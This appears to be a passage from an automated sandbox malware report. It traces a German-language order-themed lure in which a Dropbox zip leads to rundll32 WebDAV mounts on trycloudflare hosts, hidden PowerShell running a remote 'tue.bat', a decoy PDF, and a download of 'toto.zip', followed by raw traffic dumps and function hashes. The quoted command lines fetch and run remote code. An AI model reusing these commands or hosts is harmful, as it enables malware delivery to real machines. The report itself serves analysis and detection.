AKuL4f'?oG5ceqLc"oaZ[i3NR[zgg_w_i}/bD97Fr+`T^AFK-t2V(KII1t0D^a?c0V O2d9.9#DRmnQ#iZlMC>*_]f
2024-10-25 08:17:25 UTC	1369	IN	Data Raw: b9 fc ea 5b 03 cd a5 62 7a df 73 79 74 24 cd 45 9a f1 35 73 d1 e3 ff 3e 68 53 13 69 ab ed 4d db f7 77 0c 14 ef 77 4c d3 69 9b 84 44 11 6d 2e 87 6a 7d 3c 87 88 7b 26 a7 2f e2 12 f7 01 ff 75 da ee 51 06 a2 ed da 38 6d 13 34 9e 0d 63 3c 1b 3d 30 59 ba fc 63 85 ac fd 07 d3 d9 d7 77 24 73 c9 41 bc a3 a9 9f 35 57 0e 20 ed 81 cc 52 9e 32 90 c4 1b a6 ea 94 5b 8c 12 2f 19 c9 ac e8 aa 7f 80 5c df 7b 70 20 de f5 4c e9 47 ae 0f 4d 23 86 bc 3e 6d 40 06 6a 79 b0 7e a9 1a 28 fc 99 13 1d 88 b2 5b e3 94 0d 23 aa 0e c5 d8 b7 40 30 f9 05 a3 82 a1 75 62 04 e9 56 ac 37 4e c5 5e cb 78 60 e2 56 1c f9 68 71 45 57 74 7b d3 4f 8d c1 8b 6a fd 60 8a 40 ce 7b 5c 72 4c 39 75 0a 99 bd 0f a6 d2 08 f9 1d f1 3d 8a 21 e6 db 3f f5 bf 1f f3 8d dc 36 50 cc b7 3a fb ef 8f f9 f8 f9 4d a1 f5 5a Data Ascii: [bzsyt$E5s>hSiMwwLiDm.j}<{&/uQ8m4c<=0Ycw$sA5W R2[/\{p LGM#>m@jy~([#@0ubV7N^x`VhqEWt{Oj`@{\rL9u=!?6P:MZ
2024-10-25 08:17:25 UTC	1369	IN	Data Raw: 54 bc 4d 9e 21 29 3f 7e 1e 9f 55 f0 d3 ac 16 ef e1 15 81 16 de 4f f5 fc 4e 0b c8 1d 10 f5 5c 26 29 23 54 6b d7 d5 ba 25 1b 67 88 3d 0e 21 d7 54 eb 52 82 76 f4 77 57 91 c5 0d 86 f4 f2 7c 5b 09 7e 0d e3 6d 4a a8 b4 c9 9b 61 89 88 da 6d 11 0c c1 62 39 e7 51 52 b7 d8 90 c9 74 e8 75 b7 ad d8 98 e2 4c 15 e3 8a 8e 50 31 01 fa c1 55 94 9a 9c ac 69 3b b6 b0 27 b4 d8 0b 2d 94 ce ee 88 c0 97 44 04 bd 10 b4 04 73 70 a7 45 6a 3d 1b ba 4c eb b2 8e ba ac ee 59 e6 c2 63 84 b3 f7 82 e0 8a ec e8 f0 d8 2d 21 b0 2b 83 2e 48 ca 61 37 5d fe 76 88 8c 7c ff 39 e2 ba 53 52 3b a5 c2 4b 9b 5f eb 9f 90 82 ab 98 d7 91 0d 07 7f 09 a9 ee fe 3a 0a 57 69 26 6c 6f e2 9d e8 d8 ef e8 3e 28 89 ea 6a 70 2c 95 92 72 0c e2 f8 ab 7b bb e3 df 4e c0 d9 f7 79 07 39 7c 17 e6 2e d1 09 e8 96 f3 7b 0b Data Ascii: TM!)?~UON\&)#Tk%g=!TRvwW\|[~mJamb9QRtuLP1Ui;'-DspEj=LYc-!+.Ha7]v\|9SR;K_:Wi&lo>(jp,r{Ny9\|.{
2024-10-25 08:17:25 UTC	1369	IN	Data Raw: a0 cf 21 2a c5 54 03 83 f7 bc 93 6c 4b 80 2e 4d 51 28 d9 10 7b e2 53 f4 e3 4d 73 68 dc 37 31 35 38 df a4 2f d2 3c d5 6a d7 05 d5 49 3f 08 78 32 76 fb 45 be 7d ff d3 e8 be 1c 7d bc 71 2c f7 22 e2 6e 1e 83 ea f6 06 51 c8 78 30 dc 4a 19 10 58 c7 7b e3 6b d0 c6 7f ab b1 8c 91 08 bc 74 17 ee 0d e5 bb 15 93 77 0c ba d8 cc 27 d1 42 61 ea ab 54 11 62 5b 2f 31 85 81 15 d4 64 7e b0 05 77 e5 94 5b b8 0b 9e ba eb d3 58 54 87 ae da dc f2 71 2a ba 05 a7 cd dc f2 3e 3d 8d c7 1f ab 0e 41 e4 de 16 fb e2 0b ca 99 b4 ce 49 c1 49 76 74 97 50 69 bd c1 ca 7c 7a 13 58 d3 e7 5b b1 0a 88 5e 38 86 7d f3 65 18 b5 71 67 35 d1 c5 99 02 42 99 79 d1 8a 77 14 c6 a4 e2 62 b9 d1 ca 1b 28 89 5f 28 1f 83 97 93 ce 9a b7 1d 24 07 48 d7 07 7e 7a 4e 65 b7 5f 7e 2d e0 d9 ae 54 b8 d0 c2 92 25 f3 Data Ascii: !TlK.MQ({SMsh7158/<jI?x2vE}}q,"nQx0JX{ktw'BaTb[/1d~w[XTq>=AIIvtPi\|zX[^8}eqg5Bywb(_($H~zNe_~-T%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.17	58448	96.7.168.138	443	4392	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:17:30 UTC	475	OUT	GET /onboarding/smskillreader.txt HTTP/1.1 Host: armmf.adobe.com Connection: keep-alive Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br If-None-Match: "78-5faa31cce96da" If-Modified-Since: Mon, 01 May 2023 15:02:33 GMT
2024-10-25 08:17:30 UTC	198	IN	HTTP/1.1 304 Not Modified Content-Type: text/plain; charset=UTF-8 Last-Modified: Mon, 01 May 2023 15:02:33 GMT ETag: "78-5faa31cce96da" Date: Fri, 25 Oct 2024 08:17:30 GMT Connection: close

Target ID:	0
Start time:	04:15:41
Start date:	25/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	04:15:42
Start date:	25/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=1912,i,9342714929990700637,7957857642515349934,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	04:15:43
Start date:	25/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://dl.dropboxusercontent.com/scl/fi/kzw07ghqs05mfyhu8o3ey/BestellungVRG020002.zip?rlkey=27cmmjv86s5ygdnss2oa80i1o&st=86cnbbyp&dl=0"
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:15:47
Start date:	25/10/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Imagebase:	0x7ff6c7550000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	04:16:27
Start date:	25/10/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie theme-crack-emissions-perspectives.trycloudflare.com@SSL https://theme-crack-emissions-perspectives.trycloudflare.com/
Imagebase:	0x7ff6c7550000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	04:16:29
Start date:	25/10/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie theme-crack-emissions-perspectives.trycloudflare.com@SSL https://theme-crack-emissions-perspectives.trycloudflare.com/
Imagebase:	0x7ff6c7550000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: rundll32.exePID: 7072, Parent PID: 6988

General

Target ID:	24
Start time:	04:16:47
Start date:	25/10/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie theme-crack-emissions-perspectives.trycloudflare.com@SSL https://theme-crack-emissions-perspectives.trycloudflare.com/DE/bestellung-DKM00392pdf.lnk
Imagebase:	0x7ff6c7550000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	04:16:54
Start date:	25/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c start /b powershell -WindowStyle Hidden -Command "cmd /c '\\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat' analyze"
Imagebase:	0x7ff609350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	04:16:54
Start date:	25/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff772470000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	04:16:54
Start date:	25/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "cmd /c '\\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat' analyze"
Imagebase:	0x7ff711290000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	04:17:08
Start date:	25/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat analyze
Imagebase:	0x7ff609350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	04:17:08
Start date:	25/10/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie theme-crack-emissions-perspectives.trycloudflare.com@SSL https://theme-crack-emissions-perspectives.trycloudflare.com/tue.bat
Imagebase:	0x7ff6c7550000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	04:17:14
Start date:	25/10/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\LSBIHQFDVT.pdf"
Imagebase:	0x7ff6fb250000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	04:17:14
Start date:	25/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 5
Imagebase:	0x7ff7aced0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	04:17:18
Start date:	25/10/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6ce420000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	04:17:19
Start date:	25/10/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2276 --field-trial-handle=1564,i,7782112262489688426,12990874366865501672,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6ce420000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	04:17:19
Start date:	25/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://retailer-indicators-resume-key.trycloudflare.com/toto.zip' -OutFile 'C:\Users\user\Downloads\toto.zip' } catch { exit 1 }"
Imagebase:	0x7ff711290000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	11
Total number of Limit Nodes:	1

Executed Functions

Function 00007FF9BF6411D8 Relevance: 4.4, Strings: 3, Instructions: 644
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

3O_I, xrefs: 00007FF9BF6413A4
4O_I, xrefs: 00007FF9BF6412A4
2O_I, xrefs: 00007FF9BF6414A4

Memory Dump Source

Source File: 00000024.00000002.2410419908.00007FF9BF640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BF640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bf640000_powershell.jbxd

Similarity

API ID:
String ID: 2O_I$3O_I$4O_I
API String ID: 0-3162801713
Opcode ID: 2a86ad05b76198e6be7ce5a65562c02dd4ff8200a8c1341c1cc65a43696411a9
Instruction ID: 8f259cc6e9d9d736a7cf28fe60bfa40e7367577dd16e5002289183314d36e718
Opcode Fuzzy Hash: 2a86ad05b76198e6be7ce5a65562c02dd4ff8200a8c1341c1cc65a43696411a9
Instruction Fuzzy Hash: BE220322E0EA859BE352EBAC54163796E94FF91314F4841FED988C71CBDD58BE05C341

Function 00007FF9BFB32DA9 Relevance: 2.0, Strings: 1, Instructions: 769
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

#t, xrefs: 00007FF9BFB32E94

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID: #t
API String ID: 0-233854680
Opcode ID: fdb98ea222daaa3654c1077f9272a16d40099e0775563710a439b3b02ab74b54
Instruction ID: 9703bc5288afe5e96641956775882737d4f04a2d521cc466e659f576446fe08c
Opcode Fuzzy Hash: fdb98ea222daaa3654c1077f9272a16d40099e0775563710a439b3b02ab74b54
Instruction Fuzzy Hash: EB325730A0CA4A4FE799EB6C84157BA77D1EF99314F0441BEE54EC7292DE68FC068781

Function 00007FF9BFB2E0E9 Relevance: .5, Instructions: 514COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e66f9b54289a4114d9f1c6f295de030c0abf625680f317ea540128a0924bf3cb
Instruction ID: 85bc26b80f0be710b9d04afb93185f806a80f9c772c8ae543a4b063a50858ca8
Opcode Fuzzy Hash: e66f9b54289a4114d9f1c6f295de030c0abf625680f317ea540128a0924bf3cb
Instruction Fuzzy Hash: 93F1D031A1CA5A8BEF98DBAD94A17B93BD1EF59308F144079D54EC72C6CE78B842C740

Function 00007FF9BFB3271F Relevance: 6.5, Strings: 5, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

*, xrefs: 00007FF9BFB3273C
`, xrefs: 00007FF9BFB327BE
[, xrefs: 00007FF9BFB32748
?, xrefs: 00007FF9BFB32742
], xrefs: 00007FF9BFB3274E

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID: *$?$[$]$`
API String ID: 0-4132509962
Opcode ID: 4fb3a3b238e9eeaf28abf4dfea76ca28c9a34f2f209600d1cbd5f11ce74823b8
Instruction ID: 5ea69e925f8649dd2d6f7390aeae9e377f7cdac8b42c2232945a506482ca4c6b
Opcode Fuzzy Hash: 4fb3a3b238e9eeaf28abf4dfea76ca28c9a34f2f209600d1cbd5f11ce74823b8
Instruction Fuzzy Hash: 10515631A0CA6D8FD718DBAC98452B877E1FF56314B14027BD58EC3992EE68BC078381

Function 00007FF9BF8B85CA Relevance: 3.9, Strings: 3, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

'_^], xrefs: 00007FF9BF8B85FA
'_^Z, xrefs: 00007FF9BF8B85F2
'_^M, xrefs: 00007FF9BF8B85CA

Memory Dump Source

Source File: 00000024.00000002.2414618241.00007FF9BF8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BF8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bf8b0000_powershell.jbxd

Similarity

API ID:
String ID: '_^M$'_^Z$'_^]
API String ID: 0-839363309
Opcode ID: d10c605f2ff54200617b171b1090c81df3b2d7f564aaab05f4dcc605547e250d
Instruction ID: e8a4888317ca57020e93460d2bce94a891ff45f1497b00c651e9917fda969918
Opcode Fuzzy Hash: d10c605f2ff54200617b171b1090c81df3b2d7f564aaab05f4dcc605547e250d
Instruction Fuzzy Hash: FC316E67E0D9590FE364E76C68DB2E577C1DF5626874940B6D44ECB2E3DC086C078A84

Function 00007FF9BF64A01D Relevance: 1.7, APIs: 1, Instructions: 165
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IdentifyCodeAuthzLevelW.ADVAPI32 ref: 00007FF9BF658648

Memory Dump Source

Source File: 00000024.00000002.2410419908.00007FF9BF640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BF640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bf640000_powershell.jbxd

Similarity

API ID: AuthzCodeIdentifyLevel
String ID:
API String ID: 1431151113-0
Opcode ID: f435b364d6789f5756118fca543b1ae2401f66a173b140c00155712b4f320f5f
Instruction ID: 7ed82aaf700244ed29181a273d248d1db08691eb7535b8414e9384b43110ead3
Opcode Fuzzy Hash: f435b364d6789f5756118fca543b1ae2401f66a173b140c00155712b4f320f5f
Instruction Fuzzy Hash: 7E518331D08A1C8FDBA9DB18D8497E9B3F1FB58311F0042EAD54EE7251DE74AA858F81

Function 00007FF9BF648FF1 Relevance: 1.6, APIs: 1, Instructions: 123
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE ref: 00007FF9BF649097

Memory Dump Source

Source File: 00000024.00000002.2410419908.00007FF9BF640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BF640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bf640000_powershell.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: dd693c6bd5bac2315cd18c6862c0777930b8da4ffd156b312a64f2ecec61e1ad
Instruction ID: c9823e0bf9d818929938895e26d9cf4d72215c815940bbb30ff7749179c91c4b
Opcode Fuzzy Hash: dd693c6bd5bac2315cd18c6862c0777930b8da4ffd156b312a64f2ecec61e1ad
Instruction Fuzzy Hash: 4831D331D0CA4C8FDB59EBAC98857F9BBE0EF56321F04426FC049D3152DA65B8458B81

Function 00007FF9BF64A02D Relevance: 1.6, APIs: 1, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ComputeAccessTokenFromCodeAuthzLevel.ADVAPI32 ref: 00007FF9BF65C6BE

Memory Dump Source

Source File: 00000024.00000002.2410419908.00007FF9BF640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BF640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bf640000_powershell.jbxd

Similarity

API ID: AccessAuthzCodeComputeFromLevelToken
String ID:
API String ID: 132034935-0
Opcode ID: ee226d8f38a5aeaa18592df43d8d2fb65121df427dc9d6fdeeb71721c6e617a2
Instruction ID: 9d92175b002194c8977ada45cecd1c8a790fa077f9ad1ee57e9012f5e3460889
Opcode Fuzzy Hash: ee226d8f38a5aeaa18592df43d8d2fb65121df427dc9d6fdeeb71721c6e617a2
Instruction Fuzzy Hash: 1431833191CA1C8FDB18DB5CD8466B977E1FB69325F14422ED04AE3252DB74B8068B85

Function 00007FF9BFB30F9A Relevance: .6, Instructions: 644
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15ba99ac7e19b9760c07530f007f45a9e2d2614753e7bcbd7297630334719ed6
Instruction ID: 1d2b6e4db206c132e90608357533b2dfc7f0d66beb45a9c2b4310bdcd4906ef8
Opcode Fuzzy Hash: 15ba99ac7e19b9760c07530f007f45a9e2d2614753e7bcbd7297630334719ed6
Instruction Fuzzy Hash: 70228F31E0CA598FEB54EBAC98557A87BE1FF98308F54407AD14DC3293DE68B846CB41

Function 00007FF9BFB340B0 Relevance: .6, Instructions: 624
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdf8dcc5b9ee59a6a4cdbdb35ae223c28628b4acca583568de6d3c935e033dcd
Instruction ID: 403f7a736b8e95d44b2e82f15525517c4ff649377e124c70864866578262628d
Opcode Fuzzy Hash: bdf8dcc5b9ee59a6a4cdbdb35ae223c28628b4acca583568de6d3c935e033dcd
Instruction Fuzzy Hash: DB22BF30A09A59DFEB88EF6CC455BA97BE1FF69308F0501BAD54DC7292CA68F845C740

Function 00007FF9BFB2D098 Relevance: .6, Instructions: 594
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc32b2e9f95323564c1bca2e088aaae2a780c49eb69828feec9b297cd6c7e17a
Instruction ID: e334b3c0e7af4dbb100bc99330ae22c3699a00c448e9ca943de1d2e5a63eda17
Opcode Fuzzy Hash: dc32b2e9f95323564c1bca2e088aaae2a780c49eb69828feec9b297cd6c7e17a
Instruction Fuzzy Hash: BA122030A0CA564FEB58EBA8844237937D1EF49318F15817ED98EC76D3DE68B8468741

Function 00007FF9BFDCF510 Relevance: .5, Instructions: 493COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2424465168.00007FF9BFDC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFDC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfdc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 144cff15c57ebe9f07b6d0c16769a284945ce5514c9551eb60649f9f3776e1cd
Instruction ID: a10402f9f6efcf47f26dc35980f7bc53c4e20115d15a6c7e659533545a089509
Opcode Fuzzy Hash: 144cff15c57ebe9f07b6d0c16769a284945ce5514c9551eb60649f9f3776e1cd
Instruction Fuzzy Hash: 8EE1F33290CB960BE326F76CA4E22E57B91DF46338B0580BBD18CCA1E3DD1879468795

Function 00007FF9BFB328A0 Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae8e5615f7f382b5310fbda4a150ff012d37f4a0d0cebd0d8d9f84a984249453
Instruction ID: a573f36acc7425cb25664dbb66d0b95873b970b216116a402cc0d6e818c676b4
Opcode Fuzzy Hash: ae8e5615f7f382b5310fbda4a150ff012d37f4a0d0cebd0d8d9f84a984249453
Instruction Fuzzy Hash: FDD16930A0DB9A5FD7A5DBAC88543BA7BE1EF89314F0401BBE44DC3592DE68AD05C341

Function 00007FF9BF8B8CC9 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2414618241.00007FF9BF8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BF8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bf8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 424ad2ec156eecb43ea8dfbcc06948ca39d4c746bdccdef28aef18564dc9d087
Instruction ID: bf7097087b84e0eb62a0f5c93d5aa920fa7ff5b29dbcd77e63d3e46e4bf7e7a6
Opcode Fuzzy Hash: 424ad2ec156eecb43ea8dfbcc06948ca39d4c746bdccdef28aef18564dc9d087
Instruction Fuzzy Hash: A9712A12F0DE5B4FE269E2AC241537927C1DF9A365B0940BBD58EC7283ED5EBC074280

Function 00007FF9BFDC357A Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2424465168.00007FF9BFDC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFDC0000, based on PE: false

Joe Sandbox IDA Plugin

